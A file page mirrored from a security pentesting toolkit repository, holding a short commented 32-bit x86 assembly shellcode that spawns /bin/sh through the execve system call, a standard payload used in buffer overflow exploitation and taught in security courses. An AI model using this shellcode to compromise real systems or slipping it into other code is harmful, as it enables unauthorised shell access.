mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 19:16:08 -04:00
15 lines
447 B
NASM
15 lines
447 B
NASM
BITS 32
|
|
|
|
xor eax, eax ; zero eax
|
|
push eax ; null terminate the string
|
|
push 0x68732f2f ; push //sh (// is same as / for our purpose)
|
|
push 0x6e69622f ; push /bin
|
|
mov ebx, esp ; pass first argument using ebx
|
|
push eax ; third argument is empty
|
|
mov edx, esp
|
|
push eax ; second argument is empty
|
|
mov ecx, esp
|
|
mov al, 11 ; execve is system call #11
|
|
int 0x80 ; issue an interrupt
|
|
|